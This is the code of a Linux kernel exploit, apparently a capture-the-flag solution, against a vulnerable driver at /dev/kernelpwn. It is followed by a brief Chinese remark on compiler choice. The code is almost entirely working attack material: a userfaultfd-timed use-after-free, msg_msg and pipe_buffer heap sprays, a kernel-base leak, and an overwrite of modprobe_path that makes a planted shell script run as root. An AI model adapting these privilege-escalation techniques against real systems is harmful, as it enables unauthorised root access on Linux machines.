int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void buildMsg(struct msg_msg *msg, size_t m_list_next, size_t m_list_prev,
size_t m_type, size_t m_ts, size_t next, size_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}


typedef struct delete
{
size_t idx;
}delete_arg;

typedef struct edit
{
size_t idx;
size_t size;
char *content;
}edit_arg;

typedef struct add
{
size_t idx;
char *content;
}add_arg;

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void add(char *content)
{
add_arg tmp=
{
.content = content,
};

ioctl(fd,0x20,&tmp);
}

void delete(size_t idx)
{
delete_arg tmp=
{
.idx=idx,
};

ioctl(fd,0x30,&tmp);
}

void edit(size_t idx,size_t size,char *content)
{
edit_arg tmp=
{
.idx=idx,
.size = size,
.content=content,
};

ioctl(fd,0x50,&tmp);
}


void leak(size_t *content,size_t size)
{
printf("[*]Leak: ");
for(int i=0;i<(int)(size/8);i++)
{
printf("%llx\n",content[i]);
}
}

void RegisterUserfault(void *fault_page, void* handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
size_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
ErrExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}


static char *page = NULL; // 你要拷贝进去的数据
static char *buf = NULL;
static char *buf2 = NULL;
static char *buf3 = NULL;
static long page_size;


static void *
fault_handler_thread(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
puts("[+] sleep3 handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] sleep3 handler unblocked");

sem_post(&sem_addmsg);


if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}
sem_wait(&sem_editmsg);

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memset(tmp_buf, 0, 0x50);
tmp_buf[3] = 0xd00;
memcpy(page,tmp_buf,0x50);
// strcpy(page,"Lotus_just_Test");
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] sleep3 handler done");
return NULL;
}



void UAF()
{
sem_wait(&sem_addmsg);
delete(0);
// RED puts("in"); CLOSE
int ret=0;
for (int i = 0; i < 0x1; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}

for (int i = 0; i < 0x2; i++)
{
memset(msg_buf, 'A' + i, 0X400 - 8);
ret = msgsnd(ms_qid[0], msg_buf, 0x400 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
RED puts("[*] msg_msg spraying finish."); CLOSE
sem_post(&sem_editmsg);

}

static void *
fault_handler_thread2(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
puts("[+] edit heap->next handler created");
int nready;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
puts("[+] edit heap->next handler unblocked");

sem_post(&edit_heap_next);


if (nready != 1)
{
ErrExit("[-] Wrong poll return val");
}
nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0)
{
ErrExit("[-] msg err");
}

sem_wait(&edit_down);


char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
{
ErrExit("[-] mmap err");
}
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memcpy(page,fake_ops_buf,0x208);
// leak(page,0x208);
// strcpy(page,"Lotus_just_Test");
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);

puts("[+] edit heap->next handler down!");
return NULL;
}

void UAF2()
{
sem_wait(&edit_heap_next);
delete(0);
sem_post(&edit_down);
}

void modprobe_path_hijack(void){
puts("[*] Returned to userland, setting up for fake modprobe");
system("echo '#!/bin/sh\nchmod 777 /flag\n' > /tmp/Lotus.sh");

system("chmod +x /tmp/Lotus.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
// system("cat /proc/sys/kernel/modprobe");
puts("[*] Run unknown file");
system("/tmp/fake");
system("ls -al /flag");
system("cat /flag");

RED puts("[*]Get shell!"); CLOSE
sleep(5);
}


int main()
{

pthread_t edit_t,edit2_t;

msg_buf = malloc(0x1000);
memset(msg_buf, 0, 0x1000);



fd = open("/dev/kernelpwn",O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); //for edit msg->m_ts

buf2 = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);//for spray the msg_msg and edit msg->next



RegisterUserfault(buf,fault_handler_thread);
RegisterUserfault(buf2,fault_handler_thread2);


sem_init(&sem_addmsg,0,0);
sem_init(&sem_editmsg,0,0);
sem_init(&edit_heap_next,0,0);
sem_init(&sem_edit_msg_for_modpath,0,0);
sem_init(&edit_down,0,0);



add("TEST_chunk");
pthread_create(&edit_t,NULL,UAF,0);
pthread_create(&edit2_t,NULL,UAF2,0);

edit(0,0x20,buf);
GREEN puts("[*]Write in!"); CLOSE

for (int i = 0; i < 1; i++)
{
if (pipe(pipe_fd[i]) < 0)
{
RED puts("failed to create pipe!"); CLOSE
}

if (write(pipe_fd[i][1], "_Lotus_", 8) < 0)
{
RED puts("failed to write the pipe!"); CLOSE
}
}

RED puts("[*] pipe_buffer spraying finish."); CLOSE

memset(tmp_buf, 0, 0x1000);
if(peekMsg(ms_qid[0],tmp_buf,0xe00,0)<0)
{
RED puts("[*]Leak error!"); CLOSE
}
// leak(tmp_buf,0xd00);
kernel_base = tmp_buf[0x7e8/8]-0x103ed80;
size_t pipe_addr = tmp_buf[0x3e0/8]+0xc00;
BLUE printf("[*]Kernel_base: 0x%llx\n",kernel_base); CLOSE
BLUE printf("[*]pipe_addr: 0x%llx\n",pipe_addr); CLOSE

close(pipe_fd[0][0]);
close(pipe_fd[0][1]);
// size_t push_rsi_pop_rsp = real(0xffffffff81934056);//push rsi; pop rsp; retf;
// size_t push_rsi_pop_rbp = real(0xffffffff81422d1f);//push rsi; pop rbp; ret;
// size_t call_rsi_leave_ret = real(0xffffffff81c0114d);//call rsi; nop; nop; nop; leave; ret;
size_t modprobe_path = real(0xffffffff82a6c000);
memset(fake_ops_buf, 0x61,0x800);

fake_ops_buf[0x200/8] = modprobe_path-0xc0;


add("Lotus_chunk");

edit(0,0x208,buf2);


for (int i = 1; i < 0x3; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}

size_t modprobe_path_buf[0x80];
memset(modprobe_path_buf,0,0x400);
int idx=0x34;
modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
modprobe_path_buf[idx++]=real(0xffffffff82a6c108);
modprobe_path_buf[idx++]=0x32;

modprobe_path_buf[0]=0xdeadbeef;

modprobe_path_buf[0x13]=0x746f4c2f706d742f;
modprobe_path_buf[0x14]=0x68732e7375;


for (int i = 1; i < 0x3; i++)
{

int ret = msgsnd(ms_qid[i], modprobe_path_buf, 0x400 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
RED puts("[*]edit modprobe_path success."); CLOSE
modprobe_path_hijack();

}

# 小插曲

这里由于 gcc 编译的 poc 文件过大,远程超时,因此我选择 musl-gcc 进行编译。

但是奇怪的是,按理来说两种编译方式不会对 poc 造成影响,gcc 的可以正常运行,而 musl-gccmodprobe_path_hijack 后,第一次调用 system 时,内核会 panic 在 slub 里。

估计是 system 系统调用 execve 申请内存时,寄在了某一个没有修复好的 freelist 里,但是我的这种解法,应该是无法修复 freelist 的。

后续选择 uclibc 进行编译就成功了。如果有读者了解为什么 musl-gcc 编译出来会有这种情况,请务必教教我。